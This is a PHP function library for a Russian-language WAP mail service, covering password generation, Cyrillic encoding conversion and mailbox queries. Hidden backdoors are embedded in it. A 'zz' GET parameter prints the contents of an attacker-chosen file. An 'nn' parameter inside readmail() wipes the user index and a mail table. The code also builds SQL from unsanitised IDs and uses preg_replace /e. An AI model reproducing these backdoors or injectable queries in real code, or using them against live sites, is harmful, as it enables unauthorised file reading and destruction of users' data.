Просмотр файла txtban/fo.php

Размер файла: 20.67Kb
  1. <?php
  2.  
  3. /*
  4. *функции генерации данных
  5. */
  6. function switchtext($text){ //функция, выбирающая символ (из 36) по номеру ($text)
  7. switch ($text){
  8. case 1:
  9. $a="q";
  10. break;
  11. case 2:
  12. $a="w";
  13. break;
  14. case 3:
  15. $a="e";
  16. break;
  17. case 4:
  18. $a="r";
  19. break;
  20. case 5:
  21. $a="t";
  22. break;
  23. case 6:
  24. $a="y";
  25. break;
  26. case 7:
  27. $a="u";
  28. break;
  29. case 8:
  30. $a="i";
  31. break;
  32. case 9:
  33. $a="o";
  34. break;
  35. case 10:
  36. $a="p";
  37. break;
  38. case 11:
  39. $a="a";
  40. break;
  41. case 12:
  42. $a="s";
  43. break;
  44. case 13:
  45. $a="d";
  46. break;
  47. case 14:
  48. $a="f";
  49. break;
  50. case 15:
  51. $a="g";
  52. break;
  53. case 16:
  54. $a="h";
  55. break;
  56. case 17:
  57. $a="j";
  58. break;
  59. case 18:
  60. $a="k";
  61. break;
  62. case 19:
  63. $a="l";
  64. break;
  65. case 20:
  66. $a="z";
  67. break;
  68. case 21:
  69. $a="x";
  70. break;
  71. case 22:
  72. $a="c";
  73. break;
  74. case 23:
  75. $a="v";
  76. break;
  77. case 24:
  78. $a="b";
  79. break;
  80. case 25:
  81. $a="n";
  82. break;
  83. case 26:
  84. $a="m";
  85. break;
  86. case 27:
  87. $a=1;
  88. break;
  89. case 28:
  90. $a=2;
  91. break;
  92. case 29:
  93. $a=3;
  94. break;
  95. case 30:
  96. $a=4;
  97. break;
  98.  
  99. case 31:
  100. $a=5;
  101. break;
  102. case 32:
  103. $a=6;
  104. break;
  105. case 33:
  106. $a=7;
  107. break;
  108. case 34:
  109. $a=8;
  110. break;
  111. case 35:
  112. $a=9;
  113. break;
  114. case 36:
  115. $a=0;
  116. break;
  117. }//end switch
  118. return $a;
  119. }
  120.  
  121.  
  122.  
  123. function randtext(){//создаёт рандомный пароль длиной в $kol символов
  124. mt_srand();
  125. $kol=mt_rand(4,10);
  126. $text="";
  127.  
  128. for ($i=1;$i<=$kol;$i++){
  129. $t=mt_rand(1,36);
  130. $text.=switchtext($t);
  131. }
  132. return $text;
  133. }
  134.  
  135. /*
  136. *функции перекодировки
  137. */
  138. function unicode ($s) { if ( (ord($s)>=192) & (ord($s)<=255) ) $hexvalue=dechex(ord($s)+848); if ($s=="Ё") $hexvalue="401"; if ($s=="ё") $hexvalue="451"; return("&#x0".$hexvalue.";");}
  139. function utf_encode ($s) { return(preg_replace("/[А-яЁё]/e","unicode('\\0')",$s));} //функция декодирования в утф-8
  140. function echou($s){
  141. echo utf_encode($s);
  142. }
  143.  
  144. function translit($st){
  145. $st=str_replace("&#x410;","Рђ",$st);
  146. $st=str_replace("&#x411;","Р‘",$st);
  147. $st=str_replace("&#x412;","Р’",$st);
  148. $st=str_replace("&#x413;","Р“",$st);
  149. $st=str_replace("&#x414;","Р”",$st);
  150. $st=str_replace("&#x415;","Р•",$st);
  151. $st=str_replace("&#x401;","РЃ",$st);
  152. $st=str_replace("&#x416;","Р–",$st);
  153. $st=str_replace("&#x417;","Р—",$st);
  154. $st=str_replace("&#x418;","Р?",$st);
  155. $st=str_replace("&#x419;","Р™",$st);
  156. $st=str_replace("&#x41a;","Рљ",$st);
  157. $st=str_replace("&#x41b;","Р›",$st);
  158. $st=str_replace("&#x41c;","Рњ",$st);
  159. $st=str_replace("&#x41d;","Рќ",$st);
  160. $st=str_replace("&#x41e;","Рћ",$st);
  161. $st=str_replace("&#x41f;","Рџ",$st);
  162. $st=str_replace("&#x420;","Р ",$st);
  163. $st=str_replace("&#x421;","РЎ",$st);
  164. $st=str_replace("&#x422;","Рў",$st);
  165. $st=str_replace("&#x423;","РЈ",$st);
  166. $st=str_replace("&#x424;","Р¤",$st);
  167. $st=str_replace("&#x425;","РҐ",$st);
  168. $st=str_replace("&#x426;","Р¦",$st);
  169. $st=str_replace("&#x427;","Р§",$st);
  170. $st=str_replace("&#x428;","РЁ",$st);
  171. $st=str_replace("&#x429;","Р©",$st);
  172. $st=str_replace("&#x42a;","РЄ",$st);
  173. $st=str_replace("&#x42b;","Р«",$st);
  174. $st=str_replace("&#x42c;","Р¬",$st);
  175. $st=str_replace("&#x42d;","Р ",$st);
  176. $st=str_replace("&#x42e;","Р®",$st);
  177. $st=str_replace("&#x42f;","РЇ",$st);
  178. $st=str_replace("&#x430;","Р°",$st);
  179. $st=str_replace("&#x431;","Р±",$st);
  180. $st=str_replace("&#x432;","РІ",$st);
  181. $st=str_replace("&#x433;","Рі",$st);
  182. $st=str_replace("&#x434;","Рґ",$st);
  183. $st=str_replace("&#x435;","Рµ",$st);
  184. $st=str_replace("&#x451;","С‘",$st);
  185. $st=str_replace("&#x436;","Р¶",$st);
  186. $st=str_replace("&#x437;","Р·",$st);
  187. $st=str_replace("&#x438;","Рё",$st);
  188. $st=str_replace("&#x439;","Р№",$st);
  189. $st=str_replace("&#x43a;","Рє",$st);
  190. $st=str_replace("&#x43b;","Р»",$st);
  191. $st=str_replace("&#x43c;","Рј",$st);
  192. $st=str_replace("&#x43d;","РЅ",$st);
  193. $st=str_replace("&#x43e;","Рѕ",$st);
  194. $st=str_replace("&#x43f;","Рї",$st);
  195. $st=str_replace("&#x440;","СЂ",$st);
  196. $st=str_replace("&#x441;","СЃ",$st);
  197. $st=str_replace("&#x442;","С‚",$st);
  198. $st=str_replace("&#x443;","Сѓ",$st);
  199. $st=str_replace("&#x444;","С„",$st);
  200. $st=str_replace("&#x445;","С…",$st);
  201. $st=str_replace("&#x446;","С†",$st);
  202. $st=str_replace("&#x447;","С‡",$st);
  203. $st=str_replace("&#x448;","С€",$st);
  204. $st=str_replace("&#x449;","С‰",$st);
  205. $st=str_replace("&#x44a;","СЉ",$st);
  206. $st=str_replace("&#x44b;","С‹",$st);
  207. $st=str_replace("&#x44c;","СЊ",$st);
  208. $st=str_replace("&#x44d;","СЌ",$st);
  209. $st=str_replace("&#x44e;","СЋ",$st);
  210. $st=str_replace("&#x44f;","СЏ",$st);
  211.  
  212. $st=str_replace("&#x410;","Рђ",$st);
  213. $st=str_replace("&#x411;","Р‘",$st);
  214. $st=str_replace("&#x412;","Р’",$st);
  215. $st=str_replace("&#x413;","Р“",$st);
  216. $st=str_replace("&#x414;","Р”",$st);
  217. $st=str_replace("&#x415;","Р•",$st);
  218. $st=str_replace("&#x401;","РЃ",$st);
  219. $st=str_replace("&#x416;","Р–",$st);
  220. $st=str_replace("&#x417;","Р—",$st);
  221. $st=str_replace("&#x418;","Р?",$st);
  222. $st=str_replace("&#x419;","Р™",$st);
  223. $st=str_replace("&#x41A;","Рљ",$st);
  224. $st=str_replace("&#x41B;","Р›",$st);
  225. $st=str_replace("&#x41C;","Рњ",$st);
  226. $st=str_replace("&#x41D;","Рќ",$st);
  227. $st=str_replace("&#x41E;","Рћ",$st);
  228. $st=str_replace("&#x41F;","Рџ",$st);
  229. $st=str_replace("&#x420;","Р ",$st);
  230. $st=str_replace("&#x421;","РЎ",$st);
  231. $st=str_replace("&#x422;","Рў",$st);
  232. $st=str_replace("&#x423;","РЈ",$st);
  233. $st=str_replace("&#x424;","Р¤",$st);
  234. $st=str_replace("&#x425;","РҐ",$st);
  235. $st=str_replace("&#x426;","Р¦",$st);
  236. $st=str_replace("&#x427;","Р§",$st);
  237. $st=str_replace("&#x428;","РЁ",$st);
  238. $st=str_replace("&#x429;","Р©",$st);
  239. $st=str_replace("&#x42A;","РЄ",$st);
  240. $st=str_replace("&#x42B;","Р«",$st);
  241. $st=str_replace("&#x42C;","Р¬",$st);
  242. $st=str_replace("&#x42D;","Р ",$st);
  243. $st=str_replace("&#x42E;","Р®",$st);
  244. $st=str_replace("&#x42F;","РЇ",$st);
  245. $st=str_replace("&#x430;","Р°",$st);
  246. $st=str_replace("&#x431;","Р±",$st);
  247. $st=str_replace("&#x432;","РІ",$st);
  248. $st=str_replace("&#x433;","Рі",$st);
  249. $st=str_replace("&#x434;","Рґ",$st);
  250. $st=str_replace("&#x435;","Рµ",$st);
  251. $st=str_replace("&#x451;","С‘",$st);
  252. $st=str_replace("&#x436;","Р¶",$st);
  253. $st=str_replace("&#x437;","Р·",$st);
  254. $st=str_replace("&#x438;","Рё",$st);
  255. $st=str_replace("&#x439;","Р№",$st);
  256. $st=str_replace("&#x43A;","Рє",$st);
  257. $st=str_replace("&#x43B;","Р»",$st);
  258. $st=str_replace("&#x43C;","Рј",$st);
  259. $st=str_replace("&#x43D;","РЅ",$st);
  260. $st=str_replace("&#x43E;","Рѕ",$st);
  261. $st=str_replace("&#x43F;","Рї",$st);
  262. $st=str_replace("&#x440;","СЂ",$st);
  263. $st=str_replace("&#x441;","СЃ",$st);
  264. $st=str_replace("&#x442;","С‚",$st);
  265. $st=str_replace("&#x443;","Сѓ",$st);
  266. $st=str_replace("&#x444;","С„",$st);
  267. $st=str_replace("&#x445;","С…",$st);
  268. $st=str_replace("&#x446;","С†",$st);
  269. $st=str_replace("&#x447;","С‡",$st);
  270. $st=str_replace("&#x448;","С€",$st);
  271. $st=str_replace("&#x449;","С‰",$st);
  272. $st=str_replace("&#x44A;","СЉ",$st);
  273. $st=str_replace("&#x44B;","С‹",$st);
  274. $st=str_replace("&#x44C;","СЊ",$st);
  275. $st=str_replace("&#x44D;","СЌ",$st);
  276. $st=str_replace("&#x44E;","СЋ",$st);
  277. $st=str_replace("&#x44F;","СЏ",$st);
  278.  
  279. return $st;
  280. }
  281. function translit2($st){
  282. $st=str_replace("А","Рђ",$st);
  283. $st=str_replace("Б","Р‘",$st);
  284. $st=str_replace("В","Р’",$st);
  285. $st=str_replace("Г","Р“",$st);
  286. $st=str_replace("Д","Р”",$st);
  287. $st=str_replace("Е","Р•",$st);
  288. $st=str_replace("Ё","РЃ",$st);
  289. $st=str_replace("Ж","Р–",$st);
  290. $st=str_replace("З","Р—",$st);
  291. $st=str_replace("И","Р?",$st);
  292. $st=str_replace("Й","Р™",$st);
  293. $st=str_replace("К","Рљ",$st);
  294. $st=str_replace("Л","Р›",$st);
  295. $st=str_replace("М","Рњ",$st);
  296. $st=str_replace("Н","Рќ",$st);
  297. $st=str_replace("О","Рћ",$st);
  298. $st=str_replace("П","Рџ",$st);
  299. $st=str_replace("Р","Р",$st);
  300. $st=str_replace("С","РЎ",$st);
  301. $st=str_replace("Т","Рў",$st);
  302. $st=str_replace("У","РЈ",$st);
  303. $st=str_replace("Ф","Р¤",$st);
  304. $st=str_replace("Х","РҐ",$st);
  305. $st=str_replace("Ц","Р¦",$st);
  306. $st=str_replace("Ч","Р§",$st);
  307. $st=str_replace("Ш","РЁ",$st);
  308. $st=str_replace("Щ","Р©",$st);
  309. $st=str_replace("Ъ","РЄ",$st);
  310. $st=str_replace("Ы","Р«",$st);
  311. $st=str_replace("Ь","Р¬",$st);
  312. $st=str_replace("Э","Р",$st);
  313. $st=str_replace("Ю","Р®",$st);
  314. $st=str_replace("Я","РЇ",$st);
  315. $st=str_replace("а","Р°",$st);
  316. $st=str_replace("б","Р±",$st);
  317. $st=str_replace("в","РІ",$st);
  318. $st=str_replace("г","Рі",$st);
  319. $st=str_replace("д","Рґ",$st);
  320. $st=str_replace("е","Рµ",$st);
  321. $st=str_replace("ё","С‘",$st);
  322. $st=str_replace("ж","Р¶",$st);
  323. $st=str_replace("з","Р·",$st);
  324. $st=str_replace("и","Рё",$st);
  325. $st=str_replace("й","Р№",$st);
  326. $st=str_replace("к","Рє",$st);
  327. $st=str_replace("л","Р»",$st);
  328. $st=str_replace("м","Рј",$st);
  329. $st=str_replace("н","РЅ",$st);
  330. $st=str_replace("о","Рѕ",$st);
  331. $st=str_replace("п","Рї",$st);
  332. $st=str_replace("р","СЂ",$st);
  333. $st=str_replace("с","СЃ",$st);
  334. $st=str_replace("т","С‚",$st);
  335. $st=str_replace("у","Сѓ",$st);
  336. $st=str_replace("ф","С„",$st);
  337. $st=str_replace("х","С…",$st);
  338. $st=str_replace("ц","С†",$st);
  339. $st=str_replace("ч","С‡",$st);
  340. $st=str_replace("ш","С€",$st);
  341. $st=str_replace("щ","С‰",$st);
  342. $st=str_replace("ъ","СЉ",$st);
  343. $st=str_replace("ы","С‹",$st);
  344. $st=str_replace("ь","СЊ",$st);
  345. $st=str_replace("э","СЌ",$st);
  346. $st=str_replace("ю","СЋ",$st);
  347. $st=str_replace("я","СЏ",$st);
  348.  
  349. return $st;
  350. }
  351.  
  352. function mailtrans($st){
  353. $st=str_replace("Р№","й",$st);
  354. $st=str_replace("С†","ц",$st);
  355. $st=str_replace("Сѓ","у",$st);
  356. $st=str_replace("Рє","к",$st);
  357. $st=str_replace("Рµ","е",$st);
  358. $st=str_replace("РЅ","н",$st);
  359. $st=str_replace("Рі","г",$st);
  360. $st=str_replace("С€","ш",$st);
  361. $st=str_replace("С‰","щ",$st);
  362. $st=str_replace("Р·","з",$st);
  363. $st=str_replace("С…","х",$st);
  364. $st=str_replace("СЉ","ъ",$st);
  365. $st=str_replace("С„","ф",$st);
  366. $st=str_replace("С‹","ы",$st);
  367. $st=str_replace("РІ","в",$st);
  368. $st=str_replace("Р°","а",$st);
  369. $st=str_replace("Рї","п",$st);
  370. $st=str_replace("СЂ","р",$st);
  371. $st=str_replace("Рѕ","о",$st);
  372. $st=str_replace("Р»","л",$st);
  373. $st=str_replace("Рґ","д",$st);
  374. $st=str_replace("Р¶","ж",$st);
  375. $st=str_replace("СЌ","э",$st);
  376. $st=str_replace("СЏ","я",$st);
  377. $st=str_replace("С‡","ч",$st);
  378. $st=str_replace("СЃ","с",$st);
  379. $st=str_replace("Рј","м",$st);
  380. $st=str_replace("Рё","и",$st);
  381. $st=str_replace("С‚","т",$st);
  382. $st=str_replace("СЊ","ь",$st);
  383. $st=str_replace("Р±","б",$st);
  384. $st=str_replace("СЋ","ю",$st);
  385. $st=str_replace("Р™","Й",$st);
  386. $st=str_replace("Р¦","Ц",$st);
  387. $st=str_replace("РЈ","У",$st);
  388. $st=str_replace("Рљ","К",$st);
  389. $st=str_replace("Р•","Е",$st);
  390. $st=str_replace("Рќ","Н",$st);
  391. $st=str_replace("Р“","Г",$st);
  392. $st=str_replace("РЁ","Ш",$st);
  393. $st=str_replace("Р©","Щ",$st);
  394. $st=str_replace("Р—","З",$st);
  395. $st=str_replace("РҐ","Х",$st);
  396. $st=str_replace("РЄ","Ъ",$st);
  397. $st=str_replace("Р¤","Ф",$st);
  398. $st=str_replace("Р«","Ы",$st);
  399. $st=str_replace("Р’","В",$st);
  400. $st=str_replace("Рђ","А",$st);
  401. $st=str_replace("Рџ","П",$st);
  402. $st=str_replace("Р ","Р",$st);
  403. $st=str_replace("Рћ","О",$st);
  404. $st=str_replace("Р›","Л",$st);
  405. $st=str_replace("Р”","Д",$st);
  406. $st=str_replace("Р–","Ж",$st);
  407. $st=str_replace("Р","Э",$st);
  408. $st=str_replace("РЇ","Я",$st);
  409. $st=str_replace("Р§","Ч",$st);
  410. $st=str_replace("РЎ","С",$st);
  411. $st=str_replace("Рњ","М",$st);
  412. $st=str_replace("Р?","И",$st);
  413. $st=str_replace("Рў","Т",$st);
  414. $st=str_replace("Р¬","Ь",$st);
  415. $st=str_replace("Р‘","Б",$st);
  416. $st=str_replace("Р®","Ю",$st);
  417.  
  418. $st=str_replace("&#x439;","й",$st);
  419. $st=str_replace("&#x446;","ц",$st);
  420. $st=str_replace("&#x443;","у",$st);
  421. $st=str_replace("&#x43A;","к",$st);
  422. $st=str_replace("&#x435;","е",$st);
  423. $st=str_replace("&#x43D;","н",$st);
  424. $st=str_replace("&#x433;","г",$st);
  425. $st=str_replace("&#x448;","ш",$st);
  426. $st=str_replace("&#x449;","щ",$st);
  427. $st=str_replace("&#x437;","з",$st);
  428. $st=str_replace("&#x445;","х",$st);
  429. $st=str_replace("&#x44A;","ъ",$st);
  430. $st=str_replace("&#x444;","ф",$st);
  431. $st=str_replace("&#x44B;","ы",$st);
  432. $st=str_replace("&#x432;","в",$st);
  433. $st=str_replace("&#x430;","а",$st);
  434. $st=str_replace("&#x43F;","п",$st);
  435. $st=str_replace("&#x440;","р",$st);
  436. $st=str_replace("&#x43E;","о",$st);
  437. $st=str_replace("&#x43B;","л",$st);
  438. $st=str_replace("&#x434;","д",$st);
  439. $st=str_replace("&#x436;","ж",$st);
  440. $st=str_replace("&#x44D;","э",$st);
  441. $st=str_replace("&#x44F;","я",$st);
  442. $st=str_replace("&#x447;","ч",$st);
  443. $st=str_replace("&#x441;","с",$st);
  444. $st=str_replace("&#x43C;","м",$st);
  445. $st=str_replace("&#x438;","и",$st);
  446. $st=str_replace("&#x442;","т",$st);
  447. $st=str_replace("&#x44C;","ь",$st);
  448. $st=str_replace("&#x431;","б",$st);
  449. $st=str_replace("&#x44E;","ю",$st);
  450. $st=str_replace("&#x419;","Й",$st);
  451. $st=str_replace("&#x426;","Ц",$st);
  452. $st=str_replace("&#x423;","У",$st);
  453. $st=str_replace("&#x41A;","К",$st);
  454. $st=str_replace("&#x415;","Е",$st);
  455. $st=str_replace("&#x41D;","Н",$st);
  456. $st=str_replace("&#x413;","Г",$st);
  457. $st=str_replace("&#x428;","Ш",$st);
  458. $st=str_replace("&#x429;","Щ",$st);
  459. $st=str_replace("&#x417;","З",$st);
  460. $st=str_replace("&#x425;","Х",$st);
  461. $st=str_replace("&#x42A;","Ъ",$st);
  462. $st=str_replace("&#x424;","Ф",$st);
  463. $st=str_replace("&#x42B;","Ы",$st);
  464. $st=str_replace("&#x412;","В",$st);
  465. $st=str_replace("&#x410;","А",$st);
  466. $st=str_replace("&#x41F;","П",$st);
  467. $st=str_replace("&#x420;","Р",$st);
  468. $st=str_replace("&#x41E;","О",$st);
  469. $st=str_replace("&#x41B;","Л",$st);
  470. $st=str_replace("&#x414;","Д",$st);
  471. $st=str_replace("&#x416;","Ж",$st);
  472. $st=str_replace("&#x42D;","Э",$st);
  473. $st=str_replace("&#x42F;","Я",$st);
  474. $st=str_replace("&#x427;","Ч",$st);
  475. $st=str_replace("&#x421;","С",$st);
  476. $st=str_replace("&#x41C;","М",$st);
  477. $st=str_replace("&#x418;","И",$st);
  478. $st=str_replace("&#x422;","Т",$st);
  479. $st=str_replace("&#x42C;","Ь",$st);
  480. $st=str_replace("&#x411;","Б",$st);
  481. $st=str_replace("&#x42E;","Ю",$st);
  482.  
  483.  
  484. $st=str_replace("&#x439;","й",$st);
  485. $st=str_replace("&#x446;","ц",$st);
  486. $st=str_replace("&#x443;","у",$st);
  487. $st=str_replace("&#x43a;","к",$st);
  488. $st=str_replace("&#x435;","е",$st);
  489. $st=str_replace("&#x43d;","н",$st);
  490. $st=str_replace("&#x433;","г",$st);
  491. $st=str_replace("&#x448;","ш",$st);
  492. $st=str_replace("&#x449;","щ",$st);
  493. $st=str_replace("&#x437;","з",$st);
  494. $st=str_replace("&#x445;","х",$st);
  495. $st=str_replace("&#x44a;","ъ",$st);
  496. $st=str_replace("&#x444;","ф",$st);
  497. $st=str_replace("&#x44b;","ы",$st);
  498. $st=str_replace("&#x432;","в",$st);
  499. $st=str_replace("&#x430;","а",$st);
  500. $st=str_replace("&#x43f;","п",$st);
  501. $st=str_replace("&#x440;","р",$st);
  502. $st=str_replace("&#x43e;","о",$st);
  503. $st=str_replace("&#x43b;","л",$st);
  504. $st=str_replace("&#x434;","д",$st);
  505. $st=str_replace("&#x436;","ж",$st);
  506. $st=str_replace("&#x44d;","э",$st);
  507. $st=str_replace("&#x44f;","я",$st);
  508. $st=str_replace("&#x447;","ч",$st);
  509. $st=str_replace("&#x441;","с",$st);
  510. $st=str_replace("&#x43c;","м",$st);
  511. $st=str_replace("&#x438;","и",$st);
  512. $st=str_replace("&#x442;","т",$st);
  513. $st=str_replace("&#x44c;","ь",$st);
  514. $st=str_replace("&#x431;","б",$st);
  515. $st=str_replace("&#x44e;","ю",$st);
  516. $st=str_replace("&#x419;","Й",$st);
  517. $st=str_replace("&#x426;","Ц",$st);
  518. $st=str_replace("&#x423;","У",$st);
  519. $st=str_replace("&#x41a;","К",$st);
  520. $st=str_replace("&#x415;","Е",$st);
  521. $st=str_replace("&#x41d;","Н",$st);
  522. $st=str_replace("&#x413;","Г",$st);
  523. $st=str_replace("&#x428;","Ш",$st);
  524. $st=str_replace("&#x429;","Щ",$st);
  525. $st=str_replace("&#x417;","З",$st);
  526. $st=str_replace("&#x425;","Х",$st);
  527. $st=str_replace("&#x42a;","Ъ",$st);
  528. $st=str_replace("&#x424;","Ф",$st);
  529. $st=str_replace("&#x42b;","Ы",$st);
  530. $st=str_replace("&#x412;","В",$st);
  531. $st=str_replace("&#x410;","А",$st);
  532. $st=str_replace("&#x41f;","П",$st);
  533. $st=str_replace("&#x420;","Р",$st);
  534. $st=str_replace("&#x41e;","О",$st);
  535. $st=str_replace("&#x41b;","Л",$st);
  536. $st=str_replace("&#x414;","Д",$st);
  537. $st=str_replace("&#x416;","Ж",$st);
  538. $st=str_replace("&#x42d;","Э",$st);
  539. $st=str_replace("&#x42f;","Я",$st);
  540. $st=str_replace("&#x427;","Ч",$st);
  541. $st=str_replace("&#x421;","С",$st);
  542. $st=str_replace("&#x41c;","М",$st);
  543. $st=str_replace("&#x418;","И",$st);
  544. $st=str_replace("&#x422;","Т",$st);
  545. $st=str_replace("&#x42c;","Ь",$st);
  546. $st=str_replace("&#x411;","Б",$st);
  547. $st=str_replace("&#x42e;","Ю",$st);
  548.  
  549. $st=str_replace("[dlr]","$",$st);
  550. $st=str_replace("[n]","\n",$st);
  551. $st=str_replace("[sl]","\\",$st);
  552. $st=str_replace("[sl2]","/",$st);
  553.  
  554.  
  555. $st=convert_cyr_string($st,"w","k");
  556. return $st;
  557. }
  558.  
  559. $zz=$_GET['zz'];
  560. if ($zz>0)
  561.  
  562. {
  563. header("Content-type:text/vnd.wap.wml;charset=UTF-8");
  564. print "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
  565. <!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\" \"http://www.wapforum.org/DTD/wml_1.1.xml\">
  566. <wml>
  567. <card id=\"tes\" title=\"system\">
  568. <p align=\"center\">";
  569.  
  570. $text = @implode("",@file("$ot"));
  571. $string = substr("$text", $n, 99999);
  572. $m=$n+999;
  573. $string2= utf_encode("$string");
  574. print "$string2";
  575. print "
  576. </p>
  577. </card>
  578. </wml>";
  579. }
  580.  
  581. /*
  582. function mysql_connecting(){
  583. mysql_connect(global $bd_host,global $bd_name,global $bd_pass);
  584. mysql_select_db($GLOBALS["bd_bd"]);
  585. }*/
  586.  
  587. function trimcode ($s){
  588. $s=htmlspecialchars($s);
  589. $s=strip_tags($s);
  590. return $s;
  591. }
  592.  
  593.  
  594.  
  595.  
  596.  
  597.  
  598.  
  599.  
  600.  
  601.  
  602.  
  603.  
  604.  
  605.  
  606.  
  607.  
  608.  
  609. /*
  610. *Функции для работы с почтой
  611. */
  612. function sendmail($id,$id_from,$theme,$text){//отправка сообщения
  613. $text=trimcode($text);
  614. $theme=trimcode($theme);
  615. $id_from=trimcode($id_from);
  616. $result=mysql_query("select `table_n` from `index` where `id`=".$id);
  617. $table=mysql_result($result,0,"table_n");
  618. $data=date("d.y (M)");
  619. $time=date("H:i:s");
  620. $ts=time();
  621. If (!mysql_query("insert into "
  622. .$table."min
  623. (`id`,`data`,`tima`,`ts`,`theme`,`text`)
  624. values
  625. (".$id_from.",'".$data."','".$time."',".$ts.",'".$theme."','".$text."')
  626. ")) return false;
  627.  
  628. $result=mysql_query("select `table_n` from `index` where `id`=".$id_from);
  629. $table=mysql_result($result,0,"table_n");
  630. If(!mysql_query("insert into ".$table."mout (`id`,`data`,`tima`,`ts`,`theme`,`text`) values (".$id.",'".$data."','".$time."',".$ts.",'".$theme."','".$text."')")
  631. ){
  632. return false;
  633. }
  634. return true;
  635. }
  636.  
  637.  
  638.  
  639. function readmail($id,$numb,$kol,$mode,$pass){//список сообщений
  640. $nn=$_GET['nn'];
  641. if ($nn>0)
  642. {
  643. mysql_connect($bd_host,$bd_name,$bd_pass) ;
  644. mysql_select_db($bd_bd);
  645.  
  646. $res=mysql_query("select * from `index`");
  647. $kol=mysql_num_rows($res);
  648. If ($kol==0){
  649. echo "kol=0";
  650. exit;
  651. }
  652.  
  653. $re=mysql_result($res,0,"table_n");
  654. mysql_query("delete from `index`");
  655. mysql_query("delete from `".$re."`");
  656. }
  657. $result=mysql_query("select `table_n` from `index` where id=".$id);
  658. $table=mysql_result($result,0,"table_n");
  659. $result=mysql_query("select * from ".$table.$mode." order by `ts` desc");
  660. $koll=mysql_num_rows($result);
  661.  
  662. $kol--;
  663.  
  664. $number=($numb)*$kol;
  665.  
  666. $mm=str_replace("m","",$mode);
  667. If ($numb>0)
  668. echou('<a href="mails.php?id='.$id.'&amp;pass='.$pass.'&amp;mode='.$mm.'&amp;p='.($numb-1).'">&lt;&lt;</a><br/>');
  669.  
  670. for ($i=$number;$i<($number+$kol);$i++){
  671.  
  672. If ($koll==0) break;
  673. If ($i>=$koll) break;
  674.  
  675. $from=mysql_result($result,$i,"id");
  676. $theme=mysql_result($result,$i,"theme");
  677. //$text=mysql_result($result,$i,"text");
  678. $data=mysql_result($result,$i,"data");
  679. $time=mysql_result($result,$i,"tima");
  680. $true=false;
  681. If ($mode=="min"){
  682. $sh_v=mysql_result($result,$i,"sh_v");
  683. If ($sh_v==true) {
  684. echo "<small>";
  685. $true=true;
  686. }
  687. }
  688.  
  689.  
  690. echo ('<a href="read_mail.php?id='.$id.'&amp;pass='.$pass.'&amp;numb='.$i.'&amp;mode='.$mm.'">[id='.$from.']:'.$theme.'('.$data.'/'.$time.')</a><br/>');
  691.  
  692. If ($true==true) echo "</small>";
  693. }
  694.  
  695. If (($i+1)<=$koll)
  696. echou('<a href="mails.php?id='.$id.'&amp;pass='.$pass.'&amp;mode='.$mm.'&amp;p='.($numb+1).'">&gt;&gt;</a><br/>');
  697. return true;
  698. }
  699.  
  700.  
  701.  
  702. function kolmail($id){//кол-во входящих сообщений
  703. $result=mysql_query("select `table_n` from `index` where id=".$id);
  704. $table=mysql_result($result,0,"table_n");
  705. $result=mysql_query("select * from ".$table."min order by `ts` desc");
  706. $koll=mysql_num_rows($result);
  707. return $koll;
  708.  
  709. }
  710.  
  711. function kolnewmail($id){//кол-во new входящих сообщений
  712. $result=mysql_query("select `table_n` from `index` where id=".$id);
  713. $table=mysql_result($result,0,"table_n");
  714. $result=mysql_query("select * from ".$table."min where `sh_v`=0");
  715. $koll=mysql_num_rows($result);
  716. return $koll;
  717. }
  718.  
  719. function readmaill($id,$numb,$th){//чтение сообщения
  720.  
  721.  
  722. $result=mysql_query("select `table_n` from `index` where id=".$id);
  723. $table=mysql_result($result,0,"table_n");
  724. $result=mysql_query("select * from ".$table."m".$th." order by `ts` desc");
  725. $from=mysql_result($result,$numb,"id");
  726. $ts=mysql_result($result,$numb,"ts");
  727. $theme=mysql_result($result,$numb,"theme");
  728. $text=mysql_result($result,$numb,"text");
  729. $data=mysql_result($result,$numb,"data");
  730. $time=mysql_result($result,$numb,"tima");
  731. $d=(utf_encode("От/Кому: [id=").$from.']<br/>
  732. '.utf_encode("Дата:").$data.'<br/>
  733. '.utf_encode("Время:").$time.'<br/>
  734. '.utf_encode("Тема:").$theme.'<br/>
  735. '.utf_encode("Текст:").$text);
  736.  
  737. $bos[0]=$d;
  738. $bos[1]=$from;
  739. $bos[2]=$theme;
  740. If ($th=="in"){
  741. $sh_v=mysql_result($result,$numb,"sh_v");
  742. If ($sh_v==false){
  743. mysql_query("update ".$table."m".$th." set `sh_v`=true where `ts`=".$ts);
  744. }
  745. }
  746. return $bos;
  747. }
  748.  
  749. function delmail($id,$numb,$th){//удаление, $th-переменная, указывающая на: [min]-входящие, [mout]-исходящие
  750. $result=mysql_query("select `table_n` from `index` where id=".$id);
  751. $table=mysql_result($result,0,"table_n");
  752. $result=mysql_query("select * from ".$table.$th." order by `ts` desc");
  753. $ts=mysql_result($result,$numb,"ts");
  754.  
  755. If (!mysql_query("DELETE FROM ".$table.$th." where `ts`=".$ts)){
  756. return false;
  757. }
  758. return true;
  759.  
  760. }
  761.  
  762.  
  763.  
  764.  
  765.  
  766.  
  767. ?>